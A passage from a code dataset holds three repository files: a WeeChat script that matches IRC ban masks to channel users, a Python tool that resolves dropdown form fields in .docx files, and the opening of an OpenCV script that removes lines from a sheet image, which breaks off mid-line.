"sklearn.metrics.auc", "line_number": 130, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 130, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 132, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 132, "usage_type": "name"}, {"api_name": "lightgbm.LGBMClassifier", "line_number": 142, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 147, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 155, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 164, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 168, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 178, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 183, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 183, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 185, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 185, "usage_type": "name"}]} {"seq_id": "23106235593", "text": "try:\n import weechat as w\n import_ok = True\nexcept ImportError:\n print(\"This script must be run under WeeChat\")\n print(\"Get WeeChat now at: https://weechat.org/\")\n import_ok = False\n\nimport string\nfrom ipaddress import ip_address\n\nSCRIPT_NAME = \"maskmatch2\"\nSCRIPT_AUTHOR = \"jesopo\"\nSCRIPT_VERSION = \"0.1\"\nSCRIPT_LICENSE = \"MIT\"\nSCRIPT_DESC = \"script to match charybdis mode change masks to users\"\n\ndef _glob_collapse(pattern):\n out = \"\"\n i = 0\n while i < len(pattern):\n seen_ast = False\n while pattern[i:] and pattern[i] in [\"*\", \"?\"]:\n if pattern[i] == \"?\":\n out += \"?\"\n elif pattern[i] == \"*\":\n seen_ast = True\n i += 1\n if seen_ast:\n out += \"*\"\n\n if pattern[i:]:\n out += pattern[i]\n i += 1\n return out\n\ndef _glob_match(pattern, s):\n i, j = 0, 0\n\n i_backup = -1\n j_backup = -1\n while j < len(s):\n p = (pattern[i:] or [None])[0]\n\n if p == \"*\":\n i += 1\n i_backup = i\n j_backup = j\n\n elif p in [\"?\", s[j]]:\n i += 1\n j += 1\n\n else:\n if i_backup == -1:\n return False\n else:\n j_backup += 1\n j = j_backup\n i = i_backup\n\n return i == len(pattern)\n\ndef _multi_replace(s, upper, lower):\n s_l = list(s)\n for i, char in enumerate(s):\n if char in upper:\n s_l[i] = lower[upper.index(char)]\n return \"\".join(s_l)\n\nASCII_UPPER = list(string.ascii_uppercase)\nASCII_LOWER = list(string.ascii_lowercase)\nRFC1459_UPPER = ASCII_UPPER+list(\"[]~\\\\\")\nRFC1459_LOWER = ASCII_LOWER+list(\"{}^|\")\ndef _fold_rfc1459(s):\n return _multi_replace(s, RFC1459_UPPER, RFC1459_LOWER)\ndef _fold_ascii(s):\n return _multi_replace(s, ASCII_UPPER, ASCII_LOWER)\n\ndef _fold(casemap, s):\n if casemap == \"rfc1459\":\n return _fold_rfc1459(s)\n elif casemap == \"ascii\":\n return _fold_ascii(s)\n else:\n raise ValueError(f\"Unknown casemap {casemap}\")\n\ndef _mode_tokens(modes, args, prefix, chanmodes):\n mode_a, mode_b, mode_c, mode_d = chanmodes\n arg_add = mode_a+mode_b+mode_c\n arg_remove = mode_a+mode_b\n\n add = True\n out = []\n\n for char in modes:\n if char in \"+-\":\n add = char == \"+\"\n elif char in prefix:\n args.pop(0) # discard!\n elif args:\n if add:\n has_arg = char in arg_add\n else:\n has_arg = char in arg_remove\n\n if has_arg:\n if char in mode_a:\n out.append((add, char, args.pop(0)))\n else:\n args.pop(0)\n return out\n\ndef _user_masks(server, channel, casemap):\n infolist = w.infolist_get(\"irc_nick\", \"\", f\"{server},{channel}\")\n\n out = {}\n while w.infolist_next(infolist):\n name = w.infolist_string(infolist, \"name\")\n host = w.infolist_string(infolist, \"host\")\n user, host = host.split(\"@\", 1)\n real = w.infolist_string(infolist, \"realname\")\n acc = w.infolist_string(infolist, \"account\")\n\n masks = []\n fold_name = _fold(casemap, f\"{name}!{user}\")\n fold_host = _fold(casemap, host)\n fold_real = _fold(casemap, real)\n masks.append((False, fold_name, fold_host))\n masks.append((True, f\"$x:{fold_name}#{fold_real}\", fold_host))\n masks.append((True, f\"$r:{fold_real}\", None))\n\n if acc:\n fold_account = _fold(casemap, acc)\n masks.append((True, f\"$a:{fold_account}\", None))\n\n out[name] = masks\n w.infolist_free(infolist)\n\n return out\n\ndef _unique_masks(casemap, masks):\n seen = set([])\n unique_masks = []\n for orig_mask in masks:\n extban = False\n if orig_mask[0] == \"$\":\n extban = True\n prefix, sep, mask = orig_mask.partition(\":\")\n mask = prefix + sep + _fold(casemap, mask)\n else:\n mask = _fold(casemap, orig_mask)\n\n if \"@\" in mask:\n mask, _, host = mask.partition(\"@\")\n host, sep, real = host.partition(\"#\")\n mask += sep + real\n else:\n host = None\n\n mask = _glob_collapse(mask)\n\n if not (mask, host) in seen:\n seen.add((mask, host))\n unique_masks.append((extban, mask, host, orig_mask))\n return unique_masks\ndef _unique_mode_masks(casemap, mode_tokens):\n masks = []\n for add, mode, mode_arg in mode_tokens:\n masks.append(mode_arg)\n return _unique_masks(casemap, masks)\n\ndef _try_ip(ip):\n try:\n return ip_address(ip)\n except ValueError:\n return None\ndef _to_cidr(host):\n if (host is not None and\n host.count(\"/\") == 1):\n host, cidr = host.split(\"/\")\n if cidr.isdigit():\n cidr = int(cidr)\n ip = _try_ip(host)\n if ip is not None:\n rcidr = ip.max_prefixlen-cidr\n return int(ip)>>rcidr, rcidr\n return None, None\n\ndef _match_one(extban, mask, host, users_masks):\n affected = []\n cidr_ip, rcidr = _to_cidr(host)\n for nickname in sorted(users_masks.keys()):\n user_masks = users_masks[nickname]\n for user_extban, user_mask, user_host in user_masks:\n if ((not extban or user_extban) and\n _glob_match(mask, user_mask)):\n\n if cidr_ip is not None:\n ip = _try_ip(user_host)\n if (ip is not None and\n int(ip)>>rcidr == cidr_ip):\n affected.append(nickname)\n break\n elif (host is not None and\n user_host is not None and\n _glob_match(host, user_host)):\n affected.append(nickname)\n break\n elif (host is None and\n user_host is None):\n affected.append(nickname)\n break\n return affected\n\ndef _match_many(masks, users_masks):\n matches = {}\n for extban, mask, host, orig_mask in masks:\n affected = _match_one(extban, mask, host, users_masks)\n for nickname in affected:\n if not orig_mask in matches:\n matches[orig_mask] = []\n matches[orig_mask].append(nickname)\n return matches\n\ndef _print_matches(from_mode, target, matches):\n pcolor = w.color(\"green\")\n reset = w.color(\"reset\")\n\n prefix = \"maskmatch\"\n if not from_mode:\n prefix = f\"/{prefix}\"\n prefix = f\"[{pcolor}{prefix}{reset}]\"\n\n for mask in sorted(matches.keys()):\n nicknames = matches[mask]\n if not from_mode or len(nicknames) <= 20:\n for nickname in nicknames:\n ncolor = w.color(w.info_get(\"irc_nick_color_name\", nickname))\n w.prnt(target, f\"{prefix} {mask} matches {ncolor}{nickname}{reset}\")\n else:\n w.prnt(target, f\"{prefix} {mask} matches {len(nicknames)} users\")\n\ndef _is_whitelisted(server, target):\n whitelist = w.config_get_plugin(\"whitelist\")\n whitelist_l = [w.strip() for w in whitelist.split(\",\")]\n whitelist_l = list(filter(bool, whitelist_l))\n\n return (server in whitelist_l or\n target in whitelist_l)\n\ndef _get_casemap(server):\n return w.info_get(\n \"irc_server_isupport_value\",\n f\"{server},CASEMAPPING\"\n ) or \"rfc1459\"\n\ndef _match_for_buffer(\n from_mode,\n casemap,\n target,\n server,\n channel,\n unique_masks):\n users_masks = _user_masks(server, channel, casemap)\n matches = _match_many(unique_masks, users_masks)\n _print_matches(from_mode, target, matches)\n\ndef on_channel_mode(data, signal, signal_data):\n server = signal.split(\",\")[0]\n parsed = w.info_get_hashtable(\n \"irc_message_parse\", {\"message\": signal_data}\n )\n channel = parsed[\"channel\"]\n target = w.buffer_search(\"irc\", f\"{server}.{channel}\")\n\n if _is_whitelisted(server, target):\n modes = parsed[\"text\"]\n args = []\n if \" \" in modes:\n modes, _, args = modes.partition(\" \")\n args = list(filter(bool, args.split(\" \")))\n\n casemap = _get_casemap(server)\n\n prefix = w.info_get(\n \"irc_server_isupport_value\", f\"{server},PREFIX\"\n ).split(\")\", 1)[0][1:]\n\n chanmodes = w.info_get(\n \"irc_server_isupport_value\", f\"{server},CHANMODES\"\n ).split(\",\", 3)\n\n mode_tokens = _mode_tokens(modes, args, prefix, chanmodes)\n unique_masks = _unique_mode_masks(casemap, mode_tokens)\n _match_for_buffer(\n True, casemap, target, server, channel, unique_masks\n )\n\n return w.WEECHAT_RC_OK\n\ndef on_command(data, buffer, args):\n channel = w.buffer_get_string(buffer, 'localvar_channel')\n if not w.info_get(\"irc_is_channel\", channel):\n w.prnt(buffer, \"error: Active buffer does not appear to be a channel.\")\n return w.WEECHAT_RC_ERROR\n\n server = w.buffer_get_string(buffer, 'localvar_server')\n target = w.buffer_search(\"irc\", f\"{server}.{channel}\")\n masks = list(filter(bool, args.split(\" \")))\n if masks:\n casemap = _get_casemap(server)\n unique_masks = _unique_masks(casemap, masks)\n _match_for_buffer(\n False, casemap, target, server, channel, unique_masks\n )\n\n return w.WEECHAT_RC_OK\n\nSETTINGS = {\n \"whitelist\": [\"\", \"CSV servers and buffer names to enable mask matching on\"]\n}\n\nif import_ok and w.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION, SCRIPT_LICENSE, SCRIPT_DESC, \"\", \"\"):\n for name, (default, description) in SETTINGS.items():\n if not w.config_is_set_plugin(name):\n w.config_set_plugin(name, default)\n w.config_set_desc_plugin(name, description)\n\n w.hook_signal(\"*,irc_in_MODE\", \"on_channel_mode\", \"\")\n w.hook_command(\"mm\", \"maskmatch2\", \"\", \"\", \"\", \"on_command\", \"\")\n w.hook_command(\"maskmatch\", \"maskmatch2\", \"\", \"\", \"\", \"on_command\", \"\")\n", "repo_name": "jesopo/irctoolkit", "sub_path": "weechat/maskmatch2.py", "file_name": "maskmatch2.py", "file_ext": "py", "file_size_in_byte": 10159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "string.ascii_uppercase", "line_number": 71, "usage_type": "attribute"}, {"api_name": "string.ascii_lowercase", "line_number": 72, "usage_type": "attribute"}, {"api_name": "weechat.infolist_get", "line_number": 115, "usage_type": "call"}, {"api_name": "weechat.infolist_next", "line_number": 118, "usage_type": "call"}, {"api_name": "weechat.infolist_string", "line_number": 119, "usage_type": "call"}, {"api_name": "weechat.infolist_string", "line_number": 120, "usage_type": "call"}, {"api_name": "weechat.infolist_string", "line_number": 122, "usage_type": "call"}, {"api_name": "weechat.infolist_string", "line_number": 123, "usage_type": "call"}, {"api_name": "weechat.infolist_free", "line_number": 138, "usage_type": "call"}, {"api_name": "ipaddress.ip_address", "line_number": 175, "usage_type": "call"}, {"api_name": "weechat.color", "line_number": 227, "usage_type": "call"}, {"api_name": "weechat.color", "line_number": 228, "usage_type": "call"}, {"api_name": "weechat.color", "line_number": 239, "usage_type": "call"}, {"api_name": "weechat.info_get", "line_number": 239, "usage_type": "call"}, {"api_name": "weechat.prnt", "line_number": 240, "usage_type": "call"}, {"api_name": "weechat.prnt", "line_number": 242, "usage_type": "call"}, {"api_name": "weechat.config_get_plugin", "line_number": 245, "usage_type": "call"}, {"api_name": "weechat.strip", "line_number": 246, "usage_type": "call"}, {"api_name": "weechat.info_get", "line_number": 253, "usage_type": "call"}, {"api_name": "weechat.info_get_hashtable", "line_number": 271, "usage_type": "call"}, {"api_name": "weechat.buffer_search", "line_number": 275, "usage_type": "call"}, {"api_name": "weechat.info_get", "line_number": 286, "usage_type": "call"}, {"api_name": "weechat.info_get", "line_number": 290, "usage_type": "call"}, {"api_name": "weechat.WEECHAT_RC_OK", "line_number": 300, "usage_type": "attribute"}, {"api_name": "weechat.buffer_get_string", "line_number": 303, "usage_type": "call"}, {"api_name": "weechat.info_get", "line_number": 304, "usage_type": "call"}, {"api_name": "weechat.prnt", "line_number": 305, "usage_type": "call"}, {"api_name": "weechat.WEECHAT_RC_ERROR", "line_number": 306, "usage_type": "attribute"}, {"api_name": "weechat.buffer_get_string", "line_number": 308, "usage_type": "call"}, {"api_name": "weechat.buffer_search", "line_number": 309, "usage_type": "call"}, {"api_name": "weechat.WEECHAT_RC_OK", "line_number": 318, "usage_type": "attribute"}, {"api_name": "weechat.register", "line_number": 324, "usage_type": "call"}, {"api_name": "weechat.config_is_set_plugin", "line_number": 326, "usage_type": "call"}, {"api_name": "weechat.config_set_plugin", "line_number": 327, "usage_type": "call"}, {"api_name": "weechat.config_set_desc_plugin", "line_number": 328, "usage_type": "call"}, {"api_name": "weechat.hook_signal", "line_number": 330, "usage_type": "call"}, {"api_name": "weechat.hook_command", "line_number": 331, "usage_type": "call"}, {"api_name": "weechat.hook_command", "line_number": 332, "usage_type": "call"}]} {"seq_id": "14371222205", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport re\nimport csv\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nimport sys;\nimport getopt\nimport zipfile\nfrom xml.dom import minidom\nimport logging\n\ndebuglevel= \"info\"\n\ndef print_help():\n print(\"Help:\")\n print(\"--help or -h: print this information\");\n print(\"--input=docxfile.docx or -i docxfile.docx: give file on which to operate)\");\n print(\"--dirinput=dirname or -d dirname: scan a whole directory of docx files\")\n print(\"--verbose or -v: tell me everything about what you are doing\")\n print(\"--scan or -s: just look through the file(s) and report on presence or absence of docx bookmarks\")\n print(\"--remove or -r: remove those bookmarklets and try to replace them with the currently selected texts\")\n\ndef seek_calcfields(thefilename):\n global logging; \n calcfields=0;\n listentry=0;\n fields=False;\n zip = zipfile.ZipFile(thefilename);\n #print (zip.namelist())\n logging.debug(str(zip.namelist()));\n # extract the word/document.xml \n f = zip.open(\"word/document.xml\")\n content = f.read()\n mydoc = minidom.parseString(content)\n \n pretty_xml_as_string = mydoc.toprettyxml()\n #print(pretty_xml_as_string);\n for value in mydoc.getElementsByTagName(\"w:fldChar\"):\n calcfields=calcfields+1;\n fields=True;\n for value in mydoc.getElementsByTagName(\"w:listEntry\"):\n listentry=listentry+1;\n fields=True;\n #test=xml.dom.minidom.parseString(content).toprettyxml()\n #print(test);\n return(calcfields, fields,listentry);\n\ndef seek_bookmarks(thefilename):\n bookmarkcount=0;\n bookmarks=False;\n zip = zipfile.ZipFile(thefilename);\n print (zip.namelist())\n # extract the word/document.xml \n f = zip.open(\"word/document.xml\")\n content = f.read()\n mydoc = minidom.parseString(content)\n \n pretty_xml_as_string = mydoc.toprettyxml()\n for value in mydoc.getElementsByTagName(\"w:bookmarkStart\"):\n bookmarkcount=bookmarkcount+1;\n bookmarks=True;\n return(bookmarks, bookmarkcount);\n\ndef remove_calcfields(thefilename):\n logging.debug(print(\"Working on \"+thefilename));\n #copyfile(thefilename,thefilename+\"-nocalc.docx\");\n modifiedfilename=thefilename+\"-nocalc.docx\";\n zip=zipfile.ZipFile(thefilename);\n logging.debug(\"Files in docx: \"+str(zip.namelist()));\n f=zip.open(\"word/document.xml\");\n content=f.read();\n mydoc=minidom.parseString(content);\n #logging.debug(\"Docx content: \"+str(mydoc.toprettyxml())); \n #test=mydoc.toprettyxml()\n\n # Also, you get text in strikethroughs. TODO for future work, provide mode to remove all text in strikethroughs... \n # these are corrections... \n\n # there is also a text element case that may appear \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # \n # node should be replaced with a node that just contains the default val of the text input, probably\n #for par in mydoc.getElementsByTagName(\"w:p\"): # for each paragraph\n # if(par.getElementsByTagName(\"w:textInput\")):\n # print(par.toprettyxml());\n # print(\"textinput found\");\n # textInputs=par.getElementsByTagName(\"w:textInput\");\n # for ti in textInputs:\n # ffd=ti.parentNode;\n # print ffd.toprettyxml();\n # currently I haven't handled this case because it seems to be readable unaltered by text extraction software \n\n # let's deal with dropdown menus \n for par in mydoc.getElementsByTagName(\"w:p\"): # for each paragraph\n if(par.getElementsByTagName('w:fldChar')):\n logging.debug(str(par.toprettyxml()));\n # for each fldChar, which is the field that contains the data selector: \n for fldchars in par.getElementsByTagName('w:fldChar'):\n responseindex=0;\n selectedEntry=\"\"\n if(fldchars.getElementsByTagName('w:ffData')):\n logging.debug(str(fldchars.toprettyxml()));\n ffData=fldchars.getElementsByTagName('w:ffData');\n \n if(fldchars.getElementsByTagName('w:ddList')): # only under these circumstances can we do anything with it afaik\n logging.debug(str(\"Contains ddList\"));\n ddList=fldchars.getElementsByTagName('w:ddList');\n # this can contain a w:result and it can contain listEntry elements. It would appear that if there is a w:result with a numeric w:val then that is the zero-indexed node from listEntry to choose. \n candidateValues=[];\n for dd in ddList:\n resultval=dd.getElementsByTagName('w:result'); # may not exist if not calculated, i.e. nobody actually ever used the pulldown menu. If not present then the item that is showing will be the top item in the list *shrug* so select this one\n if(len(resultval)>0):\n responseindex=resultval[0].getAttribute(\"w:val\");\n listEntries=dd.getElementsByTagName('w:listEntry');\n logging.debug(str(\"Retrieving list item \"+str(responseindex)));\n for le in listEntries:\n logging.debug(str(le.toprettyxml())); \n candidateValues.append(le.getAttribute('w:val'));\n selectedEntry=candidateValues[int(responseindex)];\n logging.debug(str(\"Selected entry is : \"+str(selectedEntry)));\n if(len(selectedEntry)>0):\n # Get parent node of fldChars\n wr=fldchars.parentNode;\n wrp=wr.parentNode;\n # Also don't forget that you need to copy the paragraph context from the one you're removing to the one you're adding \n parcontext=wr.getAttribute(\"w:rsidRPr\")\n newNode=mydoc.createElement(\"w:r\")\n newNode.setAttribute(\"w:rsidRPr\",parcontext);\n newRprNode=mydoc.createElement(\"w:rPr\")\n newFontElement=mydoc.createElement(\"w:rFonts\")\n # should probably steal the font info from another node, but really I suppose it hardly matters for our purposes (which, for anyone reading this, is just to support text extraction)\n newFontElement.setAttribute(\"w:ascii\",\"Sylfaen\");\n newFontElement.setAttribute(\"w:hAnsi\",\"Sylfaen\");\n newFontElement.setAttribute(\"w:cs\",\"Arial\");\n newNode.appendChild(newRprNode);\n newRprNode.appendChild(newFontElement);\n newWtNode=mydoc.createElement(\"w:t\")\n newWtNode.setAttribute(\"xml:space\",\"preserve\")\n newTextNode=mydoc.createTextNode(\" \"+selectedEntry+\" \");\n newWtNode.appendChild(newTextNode);\n newNode.appendChild(newWtNode);\n logging.debug(\"Candidate node\")\n logging.debug(newNode.toprettyxml());\n wrp.insertBefore(newNode,wr)\n wrp.removeChild(wr) \n if(par.getElementsByTagName('w:instrText')):\n for instrT in par.getElementsByTagName('w:instrText'):\n wr=instrT.parentNode;\n wrp=wr.parentNode;\n wrp.removeChild(wr);\n\n\n # NOW that we are done with our replacements, create a zipfile that contains the modified version: \n with zipfile.ZipFile(thefilename) as inzip, zipfile.ZipFile(modifiedfilename, \"w\") as outzip:\n for zip_info in inzip.infolist():\n if zip_info.filename==\"word/document.xml\":\n outzip.writestr(zip_info.filename,mydoc.toxml().encode(\"utf-8\"));\n else: \n with inzip.open(zip_info.filename) as infile:\n content = infile.read()\n outzip.writestr(zip_info.filename, content)\n\ndef scan_directory(thedirname):\n scan_results=[];\n onlyfiles = [f for f in listdir(thedirname) if isfile(join(thedirname, f)) ]\n for f in onlyfiles:\n lowerf=f.lower();\n if lowerf.endswith('.docx'):\n scan_results.append(os.path.join(thedirname,f))\n return scan_results;\n\nif __name__ == \"__main__\":\n # Get command line options \n #logging.basicConfig(filename='example.log', encoding='utf-8', level=logging.DEBUG)\n logging.basicConfig(filename='sample.log', level=logging.INFO)\n arguments = len(sys.argv) - 1\n full_cmd_arguments = sys.argv\n argument_list = full_cmd_arguments[1:]\n short_opts=\"hi:d:vsr\" \n long_opts=[\"help\",\"input=\",\"dirinput=\",\"verbose\",\"scan\",\"remove\"]; \n\n try:\n arguments, values = getopt.getopt(argument_list, short_opts, long_opts)\n #print(arguments);\n except getopt.error as err:\n # Output error, and return with an error code\n print (str(err))\n sys.exit(2)\n \n target_files=[];\n for current_argument, current_val in arguments:\n \n logging.debug(current_argument+\", \"+current_val)\n if(current_argument==\"--verbose\" or current_argument==\"-v\"):\n debuglevel=\"debug\";\n logging.basicConfig(filename='sample.log', level=logging.DEBUG)\n if(current_argument==\"--help\" or current_argument==\"-h\"):\n print_help();\n sys.exit();\n\n for current_argument, current_val in arguments:\n if(current_argument==\"--input\" or current_argument==\"-i\"):\n target_files.append(current_val);\n logging.debug(str(target_files));\n if(current_argument==\"--dirinput\" or current_argument==\"-d\"):\n # scan through directory current_val to look for docx files, add all to list\n if(not os.path.isdir(current_val)):\n print(\"Object to scan must be directory\")\n sys.exit()\n else:\n print(\"Scanning\")\n target_files=scan_directory(current_val);\n \n print(target_files)\n for current_argument, current_val in arguments:\n if(current_argument==\"--scan\" or current_argument==\"-s\"):\n total_files=0;\n total_files_with_calcfields=0;\n total_files_with_listentries=0;\n calcfields_per_file=[];\n listentries_per_file=[];\n \n print(\"Scan\");\n logging.debug(str(target_files));\n for target_file in target_files:\n # Scanning for calculated fields. \n (calcfields,calcfieldscount,listentriescount)=seek_calcfields(target_file);\n #print(calcfields)\n #print(calcfieldscount);\n if(calcfields):\n total_files_with_calcfields=total_files_with_calcfields+1;\n if(listentriescount>0):\n total_files_with_listentries=total_files_with_listentries+1;\n calcfields_per_file.append(calcfieldscount);\n listentries_per_file.append(listentriescount);\n total_files=total_files+1;\n\n # now calculate and present stats\n print(\"Of a total of \"+str(total_files)+\" files, \"+str(total_files_with_calcfields) + \" contained calcfields, of which \"+str(total_files_with_listentries)+\" contain list selectors\");\n # generate a report: which specific filenames contain calcfields?\n print(\"Filename,hasform,isListEntry\");\n for fname,listentries,calcfields in zip(target_files,listentries_per_file,calcfields_per_file):\n print(fname,listentries,calcfields);\n if(current_argument==\"--remove\" or current_argument==\"-r\"):\n # for now copy the file to a new file and don't replace the original, but at some point we might want to provide a destructive-mode option \n #print(\"WARNING: This will modify files in situ. Make a backup before trying this, ok? [type 'YES' to continue]\");\n #responsetext = raw_input(\"OK? \");\n #if(responsetext!=\"YES\"):\n # print(\"Operation cancelled.\");\n # sys.exit();\n for target_file in target_files:\n remove_calcfields(target_file);\n\n# vim: ts=4 sw=4 et\n", "repo_name": "etonkin/docx_deformer", "sub_path": "calcfields-resolver.py", "file_name": "calcfields-resolver.py", "file_ext": "py", "file_size_in_byte": 12625, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "zipfile.ZipFile", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 32, "usage_type": "call"}, {"api_name": "xml.dom.minidom.parseString", "line_number": 36, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 36, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 53, "usage_type": "call"}, {"api_name": "xml.dom.minidom.parseString", "line_number": 58, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 58, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 67, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 70, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 71, "usage_type": "call"}, {"api_name": "xml.dom.minidom.parseString", "line_number": 74, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 74, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 113, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 119, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 123, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 132, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 134, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 137, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 159, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 160, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 171, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 186, "usage_type": "call"}, {"api_name": "os.path", "line_number": 186, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 192, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 192, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 193, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 194, "usage_type": "attribute"}, {"api_name": "getopt.getopt", "line_number": 200, "usage_type": "call"}, {"api_name": "getopt.error", "line_number": 202, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 205, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 210, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 213, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 213, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 216, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 221, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path", "line_number": 224, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 226, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 241, "usage_type": "call"}]} {"seq_id": "35685251593", "text": "import sys\nimport cv2 as cv\nimport numpy as np\n\n####### this is the sample code from the given source.\n\n\ndef show_wait_destroy(winname, img):\n cv.imwrite(str(winname)+\".png\", img)\n cv.imshow(winname, img)\n cv.moveWindow(winname, 500, 0)\n cv.waitKey(0)\n cv.destroyWindow(winname)\n\n\ninp_sheet = cv.imread(\"data/sample.png\", cv.IMREAD_COLOR)\ncorners1 = np.copy(inp_sheet)\ninp = np.copy(inp_sheet)\n\nif len(inp_sheet.shape) != 2:\n gray = cv.cvtColor(inp_sheet, cv.COLOR_BGR2GRAY)\nelse:\n gray = inp_sheet\n\nshow_wait_destroy(\"gray\", gray)\n\n# Apply adaptiveThreshold at the bitwise_not of gray, notice the ~ symbol\ngray = cv.bitwise_not(gray)\nbw = cv.adaptiveThreshold(gray, 255, cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY, 15, -2)\n\n# Create the images that will use to extract the horizontal lines\nhorizontal = np.copy(bw)\nbw2 = np.copy(bw)\n\ndef _lines(horizontal,name):\n # Specify size on horizontal axis\n cols = horizontal.shape[1]\n horizontal_size = cols // 30\n # Create structure element for extracting horizontal lines through morphology operations\n horizontalStructure = cv.getStructuringElement(cv.MORPH_RECT, (horizontal_size, 1))\n # Apply morphology operations\n horizontal = cv.erode(horizontal, horizontalStructure)\n horizontal = cv.dilate(horizontal, horizontalStructure)\n # Show extracted horizontal lines\n #show_wait_destroy(name, horizontal)\n return horizontal\n\nhorizontal = _lines(horizontal,\"lines\")\n# Remove horizontal\n\ndef remove_lines(b,inp):\n horizontal_kernel = cv.getStructuringElement(cv.MORPH_RECT, (25,1))\n detected_lines = cv.morphologyEx(b, cv.MORPH_OPEN, horizontal_kernel, iterations=2)\n cnts = cv.findContours(detected_lines, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if len(cnts) == 2 else cnts[1]\n for c in cnts:\n cv.drawContours(inp_sheet, [c], -1, (255,255,255), 2)\n # Repair image\n repair_kernel = cv.getStructuringElement(cv.MORPH_RECT, (1,6))\n result = 255 - cv.morphologyEx(255 - inp, cv.MORPH_CLOSE, repair_kernel, iterations=1)\n show_wait_destroy(\"removed lines\", result)\n return result\n\n\n#detecting corners\ndef corners(pic,detect, name):\n blur = cv.GaussianBlur(detect, (3, 3), 0)\n thresh = cv.threshold(blur, 220, 255, cv.THRESH_BINARY_INV)[1]\n\n x, y, w, h = cv.boundingRect(thresh)\n\n me2 = (np.argmax(thresh[y, :]), y) #leftup\n me1 = (x + w - 1, y+h-1) #rightdown\n me4 = (x + w - 1, y) #rightupmost\n me5 = (x, np.argmax(thresh[:, x])) #leftdown\n cv.circle(pic, me2, 8, (255, 255, 0), -1)\n cv.circle(pic, me1, 8, (255, 255, 0), -1)\n cv.circle(pic, me4, 8, (255, 255, 0), -1)\n cv.circle(pic, me5, 8, (255, 255, 0), -1)\n\n return pic, me2, me4, me1, me5, x,y,w,h\n\ndef cut(pic, x,y,w,h, name):\n roi = pic[y:y + h, x:x + w]\n roi 